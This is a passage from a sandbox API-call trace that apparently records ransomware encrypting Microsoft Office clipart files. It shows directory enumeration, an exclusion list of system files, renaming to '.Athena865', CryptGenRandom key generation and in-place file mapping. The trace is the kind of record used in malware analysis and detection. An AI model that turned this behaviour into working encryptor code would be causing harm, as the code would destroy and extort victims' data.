dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.064] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.064] CloseHandle (hObject=0x154) returned 1 [0130.064] CloseHandle (hObject=0x17c) returned 1 [0130.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.065] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2=".") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="..") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="windows") returned -1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootmgr") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="temp") returned -1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="pagefile.sys") returned -1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="boot") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ids.txt") returned 1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ntuser.dat") returned -1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="perflogs") returned -1 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2="MSBuild") returned -1 [0130.065] lstrlenW (lpString="J0291794.WMF") returned 12 [0130.065] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0291794.WMF" | out: lpString1="J0291794.WMF") returned="J0291794.WMF" [0130.065] lstrlenW (lpString="J0291794.WMF") returned 12 [0130.065] lstrlenW (lpString="Athena865") returned 9 [0130.065] lstrcmpiW (lpString1="91794.WMF", lpString2="Athena865") returned -1 [0130.065] lstrlenW (lpString=".dll") returned 4 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2=".dll") returned 1 [0130.065] lstrlenW (lpString=".lnk") returned 4 [0130.065] lstrcmpiW (lpString1="J0291794.WMF", lpString2=".lnk") returned 1 [0130.066] lstrlenW (lpString=".ini") returned 4 [0130.066] lstrcmpiW (lpString1="J0291794.WMF", lpString2=".ini") returned 1 [0130.066] lstrlenW (lpString=".sys") returned 4 [0130.066] lstrcmpiW (lpString1="J0291794.WMF", lpString2=".sys") returned 1 [0130.066] lstrlenW (lpString="J0291794.WMF") returned 12 [0130.066] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.Athena865") returned 73 [0130.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.athena865"), dwFlags=0x1) returned 1 [0130.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.068] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9616) returned 1 [0130.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.068] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.069] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.069] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.069] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2890, lpName=0x0) returned 0x154 [0130.071] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2890) returned 0x100000 [0130.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.072] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.072] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.073] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.074] CloseHandle (hObject=0x154) returned 1 [0130.074] CloseHandle (hObject=0x17c) returned 1 [0130.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.074] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2=".") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="..") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="windows") returned -1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootmgr") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="temp") returned -1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="pagefile.sys") returned -1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="boot") returned 1 [0130.074] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ids.txt") returned 1 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ntuser.dat") returned -1 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2="perflogs") returned -1 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2="MSBuild") returned -1 [0130.075] lstrlenW (lpString="J0292248.WMF") returned 12 [0130.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0292248.WMF" | out: lpString1="J0292248.WMF") returned="J0292248.WMF" [0130.075] lstrlenW (lpString="J0292248.WMF") returned 12 [0130.075] lstrlenW (lpString="Athena865") returned 9 [0130.075] lstrcmpiW (lpString1="92248.WMF", lpString2="Athena865") returned -1 [0130.075] lstrlenW (lpString=".dll") returned 4 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2=".dll") returned 1 [0130.075] lstrlenW (lpString=".lnk") returned 4 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2=".lnk") returned 1 [0130.075] lstrlenW (lpString=".ini") returned 4 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2=".ini") returned 1 [0130.075] lstrlenW (lpString=".sys") returned 4 [0130.075] lstrcmpiW (lpString1="J0292248.WMF", lpString2=".sys") returned 1 [0130.075] lstrlenW (lpString="J0292248.WMF") returned 12 [0130.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.Athena865") returned 73 [0130.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.athena865"), dwFlags=0x1) returned 1 [0130.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8420) returned 1 [0130.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.078] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.078] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.078] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23f0, lpName=0x0) returned 0x154 [0130.080] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23f0) returned 0x100000 [0130.081] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.081] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.081] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.082] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.082] CloseHandle (hObject=0x154) returned 1 [0130.082] CloseHandle (hObject=0x17c) returned 1 [0130.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.083] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2=".") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="..") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="windows") returned -1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootmgr") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="temp") returned -1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="pagefile.sys") returned -1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="boot") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ids.txt") returned 1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ntuser.dat") returned -1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="perflogs") returned -1 [0130.083] lstrcmpiW (lpString1="J0292270.WMF", lpString2="MSBuild") returned -1 [0130.083] lstrlenW (lpString="J0292270.WMF") returned 12 [0130.083] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0292270.WMF" | out: lpString1="J0292270.WMF") returned="J0292270.WMF" [0130.083] lstrlenW (lpString="J0292270.WMF") returned 12 [0130.083] lstrlenW (lpString="Athena865") returned 9 [0130.083] lstrcmpiW (lpString1="92270.WMF", lpString2="Athena865") returned -1 [0130.084] lstrlenW (lpString=".dll") returned 4 [0130.084] lstrcmpiW (lpString1="J0292270.WMF", lpString2=".dll") returned 1 [0130.084] lstrlenW (lpString=".lnk") returned 4 [0130.084] lstrcmpiW (lpString1="J0292270.WMF", lpString2=".lnk") returned 1 [0130.084] lstrlenW (lpString=".ini") returned 4 [0130.084] lstrcmpiW (lpString1="J0292270.WMF", lpString2=".ini") returned 1 [0130.084] lstrlenW (lpString=".sys") returned 4 [0130.084] lstrcmpiW (lpString1="J0292270.WMF", lpString2=".sys") returned 1 [0130.084] lstrlenW (lpString="J0292270.WMF") returned 12 [0130.084] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.Athena865") returned 73 [0130.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.athena865"), dwFlags=0x1) returned 1 [0130.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.085] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31398) returned 1 [0130.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.086] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.087] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.087] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.087] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db0, lpName=0x0) returned 0x154 [0130.088] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db0) returned 0x100000 [0130.090] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.091] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.091] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.092] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.092] CloseHandle (hObject=0x154) returned 1 [0130.092] CloseHandle (hObject=0x17c) returned 1 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.093] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2=".") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="..") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="windows") returned -1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootmgr") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="temp") returned -1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="pagefile.sys") returned -1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="boot") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ids.txt") returned 1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ntuser.dat") returned -1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="perflogs") returned -1 [0130.093] lstrcmpiW (lpString1="J0292272.WMF", lpString2="MSBuild") returned -1 [0130.093] lstrlenW (lpString="J0292272.WMF") returned 12 [0130.093] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0292272.WMF" | out: lpString1="J0292272.WMF") returned="J0292272.WMF" [0130.093] lstrlenW (lpString="J0292272.WMF") returned 12 [0130.093] lstrlenW (lpString="Athena865") returned 9 [0130.093] lstrcmpiW (lpString1="92272.WMF", lpString2="Athena865") returned -1 [0130.093] lstrlenW (lpString=".dll") returned 4 [0130.094] lstrcmpiW (lpString1="J0292272.WMF", lpString2=".dll") returned 1 [0130.094] lstrlenW (lpString=".lnk") returned 4 [0130.094] lstrcmpiW (lpString1="J0292272.WMF", lpString2=".lnk") returned 1 [0130.094] lstrlenW (lpString=".ini") returned 4 [0130.094] lstrcmpiW (lpString1="J0292272.WMF", lpString2=".ini") returned 1 [0130.094] lstrlenW (lpString=".sys") returned 4 [0130.094] lstrcmpiW (lpString1="J0292272.WMF", lpString2=".sys") returned 1 [0130.094] lstrlenW (lpString="J0292272.WMF") returned 12 [0130.094] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.Athena865") returned 73 [0130.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.athena865"), dwFlags=0x1) returned 1 [0130.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.095] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7012) returned 1 [0130.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.096] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.097] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.097] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.097] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e70, lpName=0x0) returned 0x154 [0130.098] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e70) returned 0x100000 [0130.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.100] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.100] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 